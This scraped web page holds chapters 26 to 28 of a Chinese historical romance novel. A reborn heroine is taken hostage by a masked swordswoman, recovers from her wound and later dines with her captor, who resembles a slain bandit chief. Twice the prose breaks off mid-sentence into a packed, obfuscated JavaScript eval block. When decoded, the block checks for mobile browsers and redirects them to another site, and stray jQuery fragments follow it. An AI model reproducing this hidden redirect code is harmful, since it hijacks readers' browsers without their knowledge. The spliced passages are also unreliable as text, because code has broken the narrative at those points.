“少废话!”黑衣人用刀在叶袭宸的脖子上擦出一道血痕:“想要这个女子的命,就给我准备一匹快马!” 唐锶谐没有任何犹豫,声音极淡:“给他准备一匹快马。” 谢有缘极其不解地叫道:“摄政王!这个人敢对您出手,怎么能这么就放过他!” 林有分在谢有缘的屁股上踹了一脚:“没看到沈小姐在他手上吗!” 谢有缘不满地嘟囔:“女人真是麻烦!” 很快有人准备了一匹快马,黑衣人挟持着叶袭宸跨上骏马,扬长而去。 “追!” 唐锶谐一声令下,几个身手较好的官兵纷纷跃上屋顶,穷追不舍。叶袭宸坐在黑衣人的前面,呼呼的风声在耳边响起。 “英雌,想逃出去吗?” “废话!” 黑衣人不住地拍着马屁股,想把后面的人甩掉。她着急逃跑,连叶袭宸的称呼都没注意到。 “现在就把我扔下去。” “什么?”黑衣人不敢相信自己的耳朵,这么一个看上去柔弱的女子,被挟持了不哭不叫已经是难得,没想到还这么语出惊人。 “你不怕摔死?” “摔不死我。”叶袭宸自信道。 “行,这可是你说的,死了别找到我身上来。”黑衣人当机立断,将叶袭宸拽着胳膊扔了出去。 穷追不舍的几个官兵见了,着实惊了一惊,手忙脚乱地去接。叶袭宸在空中强行维持着平衡,目光在周围寻找着可以平稳落地的地方。然而视野却被一片青色充斥,紧接着身体落入一个清凉的怀抱。 唐锶谐将叶袭宸放在地上,紧张地检查了下:“你没事吧。” 叶袭宸摇头:“我没事。” 就这么会儿耽误的功夫,黑衣人已经骑着骏马冲出重围,逃之夭夭了。叶袭宸甚感欣慰,直到脑袋有些眩晕感。她下意识伸手摸了摸受伤的脖子,手掌上一片濡湿。强烈的铁锈味道充斥着她的鼻间,眼前的景物变得模糊起来,一阵天旋地转后,她直接失去了意识。 “道溦!” 意识陷入沉睡的前一秒,她看到了唐锶谐略显慌张的面庞。 再次醒来的时候,映入眼帘的是若云那张泪眼汪汪的面庞。叶袭宸苍白地抬了抬手,轻轻揩去她眼角的泪水:“傻丫头,怎么又哭了。” 若云又惊又喜,急忙握住她的手:“主子,你醒了!?我这就去告诉摄政王,他已经在外面等了许久了。” 不等叶袭宸说话,若云这个丫头已经急匆匆地跑出去了。她苦涩地笑了一声,下意识摸了摸脖颈。那里已经包裹了一层薄薄的纱布,虽然还有些痛,但既然自己能够醒来,应该就没有大碍了。 外头传来帘子被挑起后珠子互相碰撞的声音,叶袭宸抬头,只见唐锶谐双手负在身后缓缓走进来,面上看上去并无半分担忧。然而背在身后紧握成拳的手却在微微颤抖着,仿佛在竭力压制着自己的情绪。 “可还头晕?” 叶袭宸摇头:“并无大碍。” “是我连累你了。”唐锶谐闭了闭眼睛,再睁开眼时,一双眸子变得有些许阴沉:“那些黑衣人,本王一个都不会放过!” 叶袭宸饶有趣味地看着他。在她前世的印象里,即便是在战场上,也从未见过他露出这般神情。自始至终,他的性子都冷淡得不得了。她不禁有些好奇,这究竟是一个什么样的人物。看似很在意沈道溦,但却并不是有求必应。他的喜欢理性却克制,若是可以的话,他与沈道溦倒真是可以成为一对举案齐眉、相敬如宾、令人艳羡的一对佳偶。只是可惜他俩都生在了乱世之中,身不由己,各自有各自的立场。 见叶袭宸盯着自己,久久没有挪开视线,唐锶谐不由得垂了垂眸子:“你好生歇息,我还有些事情要处理,不奉陪了。” 叶袭宸笑着点了下头。 见叶袭宸笑意盈盈,唐锶谐也不由自主地被她的笑容感染到,轻微地抿了下唇角后离开。直到那抹淡青色自视野中消失,叶袭宸唇角的笑意才一点一点变淡。 那个黑衣人的声音她有些熟悉,方才才堪堪想起。若是没有记错的话,应该是早前被她收拾过的一伙山贼。这些山贼长期盘踞在城外的凤尾山上,经常打劫过往行人。而那个黑衣人就是这伙山贼的头头,江湖上赫赫有名的梅三刀。 叶袭宸托了托下巴。 这伙山贼当时被她带兵端了个底朝天,就连梅三刀也被她斩于马下。但是今个儿这个家伙却冒了出来,居然还是冲着唐锶谐来的。 这个梅三刀她了解不多,但一般的山贼不会去招惹官员,除非是活得不耐烦了。但今日她不仅招惹了,而且招惹的还是唐锶谐这个摄政王。 当真是令人费解。 就在叶袭宸思考的时候,若云已经端着饭菜从外面走进来了。 “主子,吃些东西吧。大夫说主子失血过多,需要多吃些补气血的东西。”说着若云又掉下眼泪来:“大夫还说再差一寸,就是华佗在世也难救了。” 叶袭宸要支持着下床,若云已经将饭菜端到了床边,不由分说地就要喂她。 “主子不宜大幅动作,会牵扯到伤口的。” 若云将乌鸡汤喂到叶袭宸唇边,叶袭宸小口小口地喝着,吞咽已然有些困难。一小碗汤喝完,额头上已然是满满的细汗。 叶袭宸有些后悔救了那个梅三刀了,早知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975402|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此,就应该让唐锶谐把她抓回来严加审问。本来想着敌人的敌人就是朋友,这伙人虽然武功不济,脑子也没有,杀不了唐锶谐,但是能恶心一下唐锶谐也是好的。哪成想,自己居然险些先一步栽在了他们手里。 其实仔细想想,他们也不是无备而来。脖颈上的那道伤口根本不深,刀剑上指定涂抹了些阻止伤口愈合的药物,否则不会失血过多。不过既然都想到了在刀剑上涂药,为何不直接涂些见血封喉的毒药呢。 叶袭宸摇了摇头。 这伙山贼的行为当真是让人费解。想当年为了铲除这个山头,她也是废了不少功夫。 吃过饭菜后,若云简单收拾了下就出去了。叶袭宸躺回床上,仔细静养。按照目前的状况看来,到下月十五之前自己恐怕都不能大幅度活动了。她叹了一口气,本来还想着搞些事情的。 不多时,若云又进来了,手里还捧着几本书册。 “主子,摄政王方才送来了几本诗集。” 叶袭宸伸手,几本诗集落在了她的掌心内。 “摄政王说要是主子养病期间无聊了,可以读些诗集解闷儿。”若云又拿出了一个拨浪鼓,轻轻地敲击了几下:“摄政王还送来了些小玩意儿,也是给主子解闷用的。” 叶袭宸随手翻了几页,漫不经心地问道:“他还说了些什么?” “摄政王还送来了些名贵药材。”若云迟疑道:“要奴婢拿来给主子相看吗?” “不必了。”叶袭宸捻着书页,状似不经意间问道:“若云,对于废太子花疏玟的事情,你知道的有多少?” 若云眼底闪过一丝疑惑:“主子缘何问起废太子来?” 叶袭宸随意道:“偶然想起,发觉已经记不得多少了,便想着问一问。” “容奴婢好生想想。” 叶袭宸回忆道:“被先皇不信任,又被梁王欺骗喝下毒药自杀的事情就不用说了,还是说点儿他与我之间那些风花雪月的事情罢,又或者仅限我与摄政王还有他之间才能知道的事情。” 若云有些苦恼:“可是废太子还在世时,主子并未与摄政王有过多少交集,仅仅只是点头之交而已。” 叶袭宸不解:“仅仅只是点头之交?” 看来她是误会沈道溦了,本以为她是原先就喜欢唐锶谐,只不过被先皇赐婚太子才将这份儿爱意深埋心底,彼此相忘江湖。不成想其实并没有这档子事儿,她与唐锶谐先前仅仅只是相互熟悉的陌生人而已。 叶袭宸斟酌着言辞:“那我先前可与废太子有过情意?” 若云点头:“有过,刻骨铭心。” 叶袭宸又是糊涂了。沈道溦又不是她,她依稀记得她应是个长情的人,最爱一生一世一双人。既是如此,如何会在废太子死后爱上他人呢? 她倒不是觉得沈道溦做得有何不妥,只是有些疑惑而已。 停留在书页上的指腹轻轻卷起页角,叶袭宸的一双眸子变得有些晦暗难明。 26. 第 26 章 小桥流水。 一青衣男子坐于古琴前轻抚,铮铮琴音从手指间流出,伴着哗哗的流水声形成悦耳的曲子。假山怪石嶙峋,蒸腾的热汽萦绕其中,宛若人间仙境一般。 “殿下。” 谢有缘和林有分两个侍卫从外面进来,腰间配剑,杀气凛凛,与这诗情画意的美景有些不符。 “那些黑衣人身上的刺青已经查明。”林有分道:“他们乃是城外凤尾山上的一伙山贼。” 琴音并未停止,唐锶谐的声音缓缓从流水中发出:“他们仅仅只是一伙山贼吗?” “就是,什么山贼能有这么大的胆子,敢对摄政王下手!”谢有缘不服气道:“我说林有分,你这活儿干得也太糙了吧。” 林有分白了他一眼,恭敬道:“殿下所言极是,属下已经查清他们或许与叶袭宸有所关联。” 手指在琴弦上停留,琴声戛然而止。唐锶谐缓缓抬头,目光穿透流水,薄唇轻启:“你说什么?” 声音淡得似有若无,谢有缘早已经脸色大变,跟着林有分一起跪下。 林有分道:“殿下,属下已经打探清楚。最近江湖盛传一则消息,凤尾山上的山贼头目梅三刀还活着。倘若传言为真,那么那伙山贼的目的就十分清晰了。” 谢有缘皱紧了眉头:“殿下,早前那叶袭宸曾奉长公主之命剿灭那伙山贼。依她的本领,本应是绰绰有余。但她却放跑了那伙山贼的头目,很难不让人怀疑其背后深意。” 又是她。 唐锶谐眯了眯眼睛。 林有分道:“那个头目叫梅三刀,应是听说那叶袭宸死于殿下之手,故而心生报复。” 唐锶谐甩了甩衣袖,从古琴前站起。他从流水后面走出,神情无波无澜:“继续查下去,定要找到那个梅三刀。” 林有分道:“属下已经将城门封锁起来,会仔细盘问过往行人。” 谢有缘道:“属下这就去城内挨家挨户搜查,有可疑人员立即拿下。” “各自执行去吧。”唐锶谐从两人中间走出,“本王去沈府看望一下道溦。” 谢有缘立即叫了起来:“摄政王三思,梅三刀那伙盗贼穷凶极恶,如今尚未落网,摄政王此去恐怕有危险。” 唐锶谐轻哼一声:“尽管来就是。”说罢,甩袖离开。 谢有缘还要再说,林有分已经攥住了他的手腕把他拉了回来。谢有缘气得脑门直突突,生气地叫了起来:“你拦着我干什么,还不赶紧叫些人跟着摄政王保护他!我们两个都有得要忙,没人保护摄政王,要是出点儿事怎么办?” 林有分叹了一口气:“摄政王的身手你我都有目共睹,就算没有侍卫保护,他也不会有事的。” “话是这么说没错,但是有句话说得好,猛虎架不住群狼。当初那叶袭宸要是知道这一点,也就不会……” 林有分皱着眉头看着他,谢有缘立即噤了声,他不耐烦道:“反正你明白我的意思就行。” “那你大可派些人保护摄政王,不必非得阻拦摄政王去见沈小姐。”林有分道:“沈小姐因为摄政王受伤,摄政王本就十分自责了。” 谢有缘不满地撇了撇嘴:“我看是沈小姐太弱了,之前看她驯马,还以为是个什么厉害角色。没想到还是得摄政王来救,要是换了那叶……”意识到不对,他紧急刹车,改了口:“那谁,早就把那个黑衣人剁成八段了。现在让他给跑了,真是让人火大!” 林有分没好气道:“有力气在这里发牢骚,不如赶紧去找人。” “说得对。”谢有缘一拍脑袋瓜,提着剑急匆匆走了。林有分无奈地摇了摇头,也提剑离开。 火海。 一片漫天的火海。 火蛇吐着信子席卷山寨,所到之处,无不变成一片灰烬。然而比之更绝望的不是这场大火,而是那些拿着刀剑的刽子手。他们站在寨口阻挡着那些张皇失措的山贼们,在每个人的脖子上留下一道致命的血痕。 叶袭宸骑着高头大马矗立在火海前,火光映红了她坚毅的面颊,一双眸子炯炯有神。她目睹着那些山贼惨叫着倒在血泊中,脸上没有丝毫的神情变化。 漆黑的夜色被山火照亮,东方隐隐吐出的鱼肚白也已经被染成浅红色。眼见整个山头都已经被焚烧殆尽,叶袭宸冷冷问道:“可有见梅三刀?” 得到否定的答复后,叶袭宸拉起缰绳,驱使着骏马奔入火海。脚下的土壤已经变作焦黑,着火的木头悬在头顶。叶袭宸无所畏惧,手持长枪,一路奔到梅三刀的老巢。 火舌咬上叶袭宸的盔甲,她将其解下丢弃,抬头之际,却见视野之中,几个山贼正在仓皇地往山头逃窜。 叶袭宸轻笑一声,提枪上马一路追过去。横枪于山贼脖前,下巴微抬,她轻嗤一声:“梅三刀,你还想逃到哪里?” 梅三刀的一头长发已然被烧得乱七八槽,脸颊也乌黑不堪,唯有左侧脸颊上的那朵梅花刺青分外惹眼。她朝天大笑,然后恶狠狠地举刀指向叶袭宸:“你以为我会向你投降吗?做梦!” 她持刀向叶袭宸攻来,身旁的几个山贼也同时出手。叶袭宸跳下马来,举枪迎敌。然而区区几个山贼岂是叶袭宸的对手,不过两三招就被叶袭宸刺中胸口,倒地身亡,只剩下梅三刀还在强撑着。 不知何时天上已经下起了淅淅沥沥的小雨,且雨势渐大。大火已然被扑灭,泪水无情地冲刷着这片灰烬。梅三刀第三次被叶袭宸打倒在地,嘴里吃了满满的灰土。她狠狠地一口吐出来,无视面前的枪尖,讥嘲地勾唇:“叶袭宸,你是在玩弄我吗?” “杀了你太便宜你了。”叶袭宸居高临下,眼神犀利,雨水顺着下颌线流下:“你杀死了我那么多手下,如果不折磨你一番,是个人都敢来挑衅我叶袭宸了。” “呸!”梅三刀狠狠地往地上啐了一口:“朝廷的走狗!你以为我挑衅的是你吗?你还不配!” 叶袭宸的枪尖往前送了送,直指梅三刀的喉咙。天际传来轰隆一声巨响,梅三刀破口大骂,唾沫星子混着雨水喷溅出来。 “狗皇帝庸碌 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几个手下纷纷忙活去了,抬尸体的抬尸体,挖坑的挖坑。唯有叶袭宸站在原地,仰望天空。雨水拍打着脸颊,她的内心倏然间感觉到一股子透彻心骨的凉意,且隐隐约约有种刺痛,痛得有些喘不过气来。 “……” 叶袭宸猛地睁开双眼,入目皆是一片漆黑,然而隐隐约约有个什么东西在隔着被衾抵着她的胸口。她侧过头来,透过窗外射进来的月光,看到有个人影持着剑站在床前。 正是白日里挟持她的黑衣人。 “英雌,有话好说。” 叶袭宸坐起身来,而那把剑也随着她的动作抵向她的喉咙。 “英雌,我今日才堪堪脱险,还是莫再为难我了吧。毕竟……”叶袭宸苦涩地笑了一声:“阁下的仇人并非是我。” “英、雌?”那人细细地咀嚼了下这两个字,眸中寒光毕现:“你如何知道我是女子?” 叶袭宸无奈道:“今日骑马之时,我坐于阁下身前,自然是感觉到的。” “原是如此。”那人扯下面纱,收了剑,坐于床前,“我还道是我的身份暴露了呢。”她挺了挺胸膛,有些骄傲道:“本姑娘也是有胸的,省得旁人总说我像个男子,听得我就来气。” 叶袭宸仔细打量着她,她的面庞和声音与梅三刀一般无二,但是脸颊上却并无那朵梅花刺青。作为这个世上少有的仅存几个见过梅三刀的面相和听过她的声音的人之一,叶袭宸敢肯定她不是梅三刀,而是应与梅三刀有着某种血缘关系。 叶袭宸扯了扯唇角,当真是冤家路窄。 “你是不是见过我,或者说是见过我这副面相?” 这个人的观察力十分惊人,一眼便看出叶袭宸心中所想。她直接蹬掉鞋子,蹭蹭地上了叶袭宸的床,掀开被子钻进了被窝:“快与我说说你和那个人是如何认识的。” 27. 第 27 章 天色渐暗,月亮爬上柳梢头。长辞在院内扎马步,若云无所事事地坐在台阶上,托着腮看着天空一点一点黯淡下去。 昏暗的夜色内出现了一抹熟悉的身影,青色的衣衫煞是醒目。若云抬眼,原来是唐锶谐来了。神情立即变得正经起来,她起身迎上去,恭敬道:“摄政王。” 唐锶谐双手背在身后,淡道:“你家主子呢?” “主子吃了药开始犯困,一直睡到现在。”若云顿了顿道:“要奴婢就去看看主子醒了吗。” “不用了。”唐锶谐道:“既然她还在休息,那我就不便打扰了,明日再来看她。” “恭送摄政王。”若云欠了欠身。 唐锶谐点了点头,正要甩袖离开,屋内却传来一阵窸窸窣窣的声音。他停住脚步,疑惑地看向屋内:“可是她醒了?” 若云没听到有什么声音,满脸不解。 唐锶谐神色凝重,手情不自禁地按在腰间的佩剑上。 “屋内可还有什么人?” “没有。”若云摇了摇头。 话虽如此说,但是她的心里却是在犯嘀咕,难不成是楚无暇楚公子。这可不妙,若是让摄政王发现有旁的男子深更半夜出现在主子的屋内,对于主子的名声可是大大的不利。 垂在衣袖里的手有轻微的出汗,若云的身子禁不住紧绷起来。 “去看看。” 这一声几乎是压抑着声音喊出来的。若云的身子颤抖了一下,不敢耽误,匆忙进了屋。 些许轻微的脚步声在外头响起,躺在身侧的这个家伙却不着急逃跑。叶袭宸心内暗道,这个叫褚梅瑛的是个人物,临危不乱。而且还是个实诚人,在要她讲讲和梅三刀是如何认识之后就报上了姓名。只是不巧,报了姓名之后有人就来了。 若云小心翼翼地挑开帘子,并未点灯,只是低声唤道:“主子?” 叶袭宸装作刚睡醒的样子,声音惺忪:“出了什么事?” 若云稍微放了心。 主子刚醒,屋内应无旁人。 “主子,摄政王在外头。” 叶袭宸蹙眉。 他来做什么? 叶袭宸有些后悔应了若云的呼唤了,早知道就继续装睡了。如今自己醒了,要是不把人请进来似乎有些不合适。 藏在衾被里的手腕被褚梅瑛攥住,叶袭宸禁不住低呼出声:“做什么?” “外头那人是你的情郎吧,叫他进来。” “你究竟想做什么?”叶袭宸警告道:“他的身手不弱,你若是想在这里动手,我可救不了你第二次。” “我不对他下手。”褚梅瑛道:“你把他叫进来,我才有机会逃出去,否则在这里太被动了。” 叶袭宸明白了褚梅瑛的意思,却并不打算放她走:“我这里是你想来就来,想走就能走的吗?” “什么意思?”褚梅瑛着实愣了一愣:“你想要我的命?” 叶袭宸冷哼了一声道:“我本来是不想的,可今日你险些要了我的命。” “行。”褚梅瑛彻底服气:“你到底要如何?” “你就老老实实待在这里。”叶袭宸仔细把被子掖好:“等我回来。” 褚梅瑛饶有趣味地看着叶袭宸:“你这人可真是有趣。”她想了又想:“可以。” 叶袭宸勾了勾唇,她披了衣服出来。若云早已在外面等候多时,她往叶袭宸的后面看了一眼,神情有些不自然:“主子……” 叶袭宸压低了声音:“我的床上有个人。” 若云睁大了双眼,险些失声:“什么?” “你去帮我看着她点儿。”叶袭宸拍了拍若云的肩膀:“别让她跑了。” “主子——”若云扯住了叶袭宸的衣角,半是恳求道:“主子,床上那人跑了不是正好,若是让摄政王发现……” 叶袭宸伸出手指抵住若云的唇:“你以为摄政王是一个人来的?若是让她跑了,才更会被摄政王发现。”收了手,她看着若云的眼睛:“明白了吗?” 若云似懂非懂地点了点头。 叶袭宸勾唇:“本小姐深感欣慰。” 若云已经进去许久了,却还不见出来。唐锶谐警惕地望着暖雪阁内的一草一木,一丝一毫的声响都不愿放过。所幸再无旁的声音,紧握着剑柄的手不由得松了些。脚步情不自禁地往前走了一步,他正要进去,却见叶袭宸苍白着一张脸从里面出来了。 “你怎么来了。” 这句熟稔的口吻让唐锶谐很是受用,冷峻的神色不由得缓和了些:“我来看看你。”他的视线停留在叶袭宸脖颈上缠绕的白色纱布上,情不自禁地伸出手。 “还痛吗?” 唐锶谐隔着纱布轻轻抚摸着叶袭宸脖颈上的伤口,皎洁的月色衬托得他的面庞愈加柔和。周遭轻微的风声响起,吹动枝叶沙沙作响。 叶袭宸摇了摇头:“已经不痛了。” 唐锶谐垂下眼帘,声音自责:“我知道你是在安慰我。” 手不由自主地抚上了叶袭宸滑腻的面庞,轻轻摩挲着,随后稍稍用力,将叶袭宸揽入自己的怀里。唐锶谐拥着她:“不要再说不痛了,这只会让我更加难过。我宁愿你跟我叫,跟我喊,大呼小叫,蹿房越脊,恨不得让全天下的人都知道你很痛。” 叶袭宸趴在唐锶谐的肩膀上,越听越不对劲儿。 这不是她前世的一贯作风吗。当时唐锶谐嫌弃的神色她如今还历历在目,怎么现在又要说这些。 视线无意识瞥到旁边正在扎马步的长辞身上,这小子的眼神一直似有若无地往这边瞟。叶袭宸捏了捏自己的脸,直到疼得龇牙咧嘴,才轻轻推开唐锶谐,软着声音:“真的不痛。” 脸颊恰到好处地出现一抹红晕,虽然大概率是她方才捏出来的。但黑灯瞎火的,骗骗唐锶谐应该绰绰有余了。 果不其然这个家伙上了当,脸上带着些许笑意,唐锶谐轻轻道:“脸怎么红了些?” 叶袭宸本来酝酿了一些含情脉脉的话来的,但是实在说不出口,又不能说是自己刚才捏的,只得胡编乱造道:“大抵是夜里有些冷,冻的。” “……” 唐锶谐有些被噎了一下,半是了然半是无奈道:“你进屋接着睡吧,我明日再来看你。” 叶袭宸点点头,进了屋子。关上门的刹那,她脸上的笑容就立即卸了下来。抬手扯了扯笑得有些僵硬的脸皮,然后用力搓了搓,只觉得脸颊有些酸疼。 “主子。”若云急匆匆从里屋出来,眨巴了几下眼睛:“主子床上的人是个女子?” “不然呢?”叶袭宸给 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若云正要往外走,褚梅瑛已经出剑。冰冷的剑锋横在若云的脖前,只要再上前一步,立即就能身首异处。 若云情不自禁地吞了下口水。 “小丫头。”褚梅瑛的神色立即冷了下来:“你要认清楚形势,如果我想杀你家主子的话,根本轮不到你进来揭发我。” “好了,差不多得了。”一旁的叶袭宸出声。 褚梅瑛侧头看了她一眼,不满道:“此事皆由你而起,你倒是当起了老好人。” “是是是。”叶袭宸道:“此事皆由我而起,我今日不该出门,也就不会被你挟持了。” 褚梅瑛有些理亏地收起了剑。 若云松了口气,心有余悸地摸了摸脖子。 褚梅瑛不情不愿道:“话里话外都是我的不是,你直说不就得了,非得拿话阴阳我。” “非也。”叶袭宸的眼中闪过一丝精明,她看向若云,吩咐道:“沏壶茶来。” “本姑娘才不要喝茶。”褚梅瑛双手抱着剑在椅子上坐下:“要喝就喝酒。” 叶袭宸蹙眉:“酒?” “怎么?”褚梅瑛眯了眯眼睛:“偌大的沈府难道管不起我酒喝?还是你沈小姐太过小家子气,不想给我喝酒?” “激将法?”叶袭宸挑眉。 “正是。”褚梅瑛双手环胸。 “我还就偏偏吃这一套。”叶袭宸笑了:“若云,拿酒来。” 若云畏怯地看了褚梅瑛一眼,语气里满是担忧:“主子,你身上还有伤。” “真是麻烦。”褚梅瑛的耐心已经快要被消耗殆尽了:“你家主子喝茶,我喝酒不就成了。” 若云的心还在怦怦跳,忙道:“这个主意不错,奴婢这就去准备。” 两人你一言我一语就已经决定了,完全没想过要问叶袭宸的意思。若云离开后,叶袭宸扶着额头无奈道:“其实我也想喝酒。” “沈大小姐,有伤在身,我看你还是算了吧。” 褚梅瑛把剑放在桌上,双手托腮,唇角微扬。到底还是扳回了一局,见叶袭宸吃瘪,她简直比吃了蜜糖还要甜。 28. 第 28 章 长辞刚在院子里扎完马步,见若云从里面出来,看起来有些魂不守舍的,忙迎上去问道:“若云姐姐,有什么吩咐?” 听到长辞的声音,若云如梦初醒,似是刚想起来一般:“主子要喝酒,你去搬坛子酒过来,我去准备些饭菜。” 长辞点点头,一溜烟地跑了。若云左思右想,还是想不明白为何自家主子会如此和颜悦色地招待一个险些要了自己性命的人。那个褚梅瑛姑娘虽然看上去不似那些穷凶极恶的人般凶神恶煞,但是浑身的江湖气息,而且一股子血腥的味道。 若云摇了摇头,还是决定不去想这些事了。待把酒菜都上齐后,她乖巧地退到一边。 褚梅瑛漫不经心地翻着菜肴:“小丫头,没去搬救兵吧。” 若云摇了摇头。 叶袭宸挑衅道:“怎么?白天还敢在光天化日之下带着五六个人袭击摄政王,怎么到了晚上就怂了?” “我怂什么?”褚梅瑛看起来是真的饿了,说着话嘴里还不忘嚼着东西:“我是做好了准备才去袭击的,可不像现在似的如此被动。” 叶袭宸单手拖着腮,视线在那张梅三刀的脸上逡巡:“如此说,你是个善于掌握主动的人?” “自然。”褚梅瑛啃着鸡爪子:“本姑娘一向如此。” “那我想问你个问题。” “磨磨唧唧的。”褚梅瑛吐出一块骨头:“想问就问,哪有这么多的废话。” 叶袭宸问道:“你为何要袭击摄政王,他与你有何怨何仇?” “单纯看他不顺眼罢了。”褚梅瑛吸溜着自己的手指:“皇帝早就能单独处理政事了,还要他这个摄政王做什么?我看是想当下一个叶袭宸吧,五十步笑百步。” “仅仅因此?” “自然。”褚梅瑛掰下一个鸡腿咬着:“我看他灭了叶袭宸就是因为她做了他想做但是不敢做的事情,他心里不舒服了。我几乎都能想象得出他阴暗的小心思了,我一个男子都在扭扭捏捏的,她一个女子凭什么?啧啧,听听,这得是心眼子小到什么程度才能有的心思。” “鸡腿真香。”褚梅瑛还不忘夸赞了下若云的手艺:“小丫头,你家主子有你真是有口福。” 若云微微愣住,一时不知道该如何答话。分明方才她们还剑拔弩张的,这关系缓和得也太迅速了吧。 “还有……”褚梅瑛咽下一口肉,接着道:“整天戴着一张丑不拉几的面具装神秘,不敢以真面目示人。我就纳了闷了,他那张脸就那么见不得人吗?” 这也能成为理由? 若云暗忖。 前头说的倒还有几分道理,但是这个也太牵强了吧。看来要是不喜欢一个人的话,他的什么表现都能成为缺点。 褚梅瑛吃得太急,被呛到了:“咳咳……” 叶袭宸给她倒了一杯酒,“可是你这样做,不怕得罪他吗?” 叶袭宸将酒递给褚梅瑛,褚梅瑛仰头喝下。待喉咙舒服了之后,她哂笑一声:“哼,得罪了又如何,我还能怕他不成?大不了就是一条小命交代了完事。” 叶袭宸微微一笑:“你倒是洒脱。” “哼,人在江湖,早晚有一天。早死也是死,晚死也是死。早死还早超生呢。” 叶袭宸的食指轻轻敲击着桌面:“你真的了无牵挂吗?今日随你一起来的那几个人,可都是死在了唐锶谐的手里。” “那几个男子跟着了魔似的,张口闭口说我是什么梅什么三刀。” 叶袭宸的呼吸不由得凝滞了一下。 “梅什么三刀的我听过,早前还在江湖上久负盛名,后来净干些打家劫舍的勾当。后来我听说被叶袭宸端了,端得好,端得妙,端得呱呱叫。要是搁我,我也得端了她。” 褚梅瑛嗤道:“把我和那个梅三刀相提并论,简直是对我的一种侮辱。那几个男子看起来也不是什么好东西,把他们送到姓唐的剑下,一举两得,何乐而不为?” 叶袭宸点点头:“原是如此。” “对了,还没问你,你为何放过我?”褚梅瑛狐疑地看着叶袭宸:“难不成也是因为梅三刀?” “这倒不是。” “那还能因为什么?”褚梅瑛掰下一只鸡翅膀往嘴里塞:“他是你的情郎,难不成你恨他?” 叶袭宸只是笑了笑,没有说话。她给自己倒了一杯茶,慢吞吞地喝着。 褚梅瑛见到叶袭宸这般模样,心里还有什么不明白的。她重重地拍了一下桌子:“是不是这个姓唐的在外头养什么情人了,我就知道,像他这样的,外头的女人肯定一大堆。” 叶袭宸又是笑了一笑,依旧没有说话。 褚梅瑛以为她是默认了,又是拍了一下桌子:“你放心,我会给你报仇出气的。” “先行谢过。”叶袭宸举起手里的茶杯:“我以茶代酒,敬你一杯。” 褚梅瑛也举起酒杯:“这杯我干了。” 两人相对而坐,一饮而尽。 褚梅瑛擦了擦嘴角,开始啃鸡脖子。 “对了,你和那个梅三刀是怎么认识的,我们俩真的长得一模一样?” “不说有六分相像了,至少也有九分了。” “是吗?”褚梅瑛的动作慢了下来,有些不敢置信,后又摇了摇头:“可惜了,梅三刀已经死了,倘若她没死的话,我还真想与她见上一面。” 叶袭宸直接开门见山:“你是不是与那梅三刀有什么关系。” “关系?不会吧。”褚梅瑛道:“我们褚家就只有我一个女儿,爹娘死前还担心我一个女子在这个世上孤苦无依,举目无亲呢。” “冒昧问一句,那当真是你的亲生爹娘吗?” 褚梅瑛不满道:“不是我亲生爹娘,难不成还是你亲生爹娘?” 叶袭宸一怔,随即笑了:“说得也是。”她低头喝了口茶,不再说话了。 事已至此,是不是梅三刀的亲人已经无足轻重了。只要褚梅瑛不认梅三刀,那么这个仇也就不复存在了。她还可以利用褚梅瑛这张脸招揽那些跟随凤尾山的亡命之徒,虽说这些人不一定是什么好东西,但是还可以调教调教,为她所用。 这一顿晚饭,叶袭宸没吃几口,净瞎琢磨了。反倒是褚梅瑛吃得心满意足,完事后还靠在椅背上,打了个饱嗝。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983429|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “多谢沈小姐款待了。”褚梅瑛擦了擦嘴角,拿起剑就要走。 “好走不送。”叶袭宸起身就要回房。 “喂!”褚梅瑛在身后叫道:“刚才你还挽留我,怎么现在我要走你就要我走了呢?难不成只是想请我吃饭?” “方才你若是逃走,定会被唐锶谐发现,现在走比较安全。” “安全?”褚梅瑛轻哼一声:“你知道我是为何来到沈府的吗?就是因为外头都在抓我,这里还相对安全些。我可不是为了来问你为什么放过我的,这个问题背后的原因不过是锦上添花而已。” “你要是想留便留吧。”叶袭宸回过头来:“暖雪阁内空房很多,你随便挑个喜欢的住着吧。要是不想住暖雪阁,沈府别的地方也可以。” “我还是住暖雪阁吧。”褚梅瑛嘻嘻一笑:“离你也近些。” “若云,安排下。” “是。” 说完,叶袭宸便回房睡觉去了。如今的身子不比前世了,这一晚上惊吓带折腾的,可是累得够呛。她捏了捏眉心,浓烈的疲惫感顿时涌上来,几乎是沾着枕头就睡着了。 翌日醒来的时候,外头的太阳已经升得很高了。经过了一个晚上的休息,叶袭宸的脑子已经清醒了些。 那些跟随凤尾山的亡命之徒大概是指望不上了。她能通过褚梅瑛的声音和长相判断出梅三刀和凤尾山来,那么唐锶谐也能从那些被他们杀死的黑衣人身上得到梅三刀和凤尾山的线索。按照他的行事作风,那些人很快就会被剿灭殆尽,甚至还有可能得到梅三刀的画像,找到褚梅瑛身上来。 褚梅瑛是不能留了。更确切来说,是不能以这张脸留在这里了。回头问问楚无暇,会不会易容术什么的。 叶袭宸叹了口气,刚刚下床就听到外头传来说话的声音。若云端着水盆进来,叶袭宸问道:“外头系谁在说话?” “是褚小姐在教长辞练武。” “这个褚梅瑛,倒真是个自来熟。”叶袭宸简单洗漱后,就出了屋。 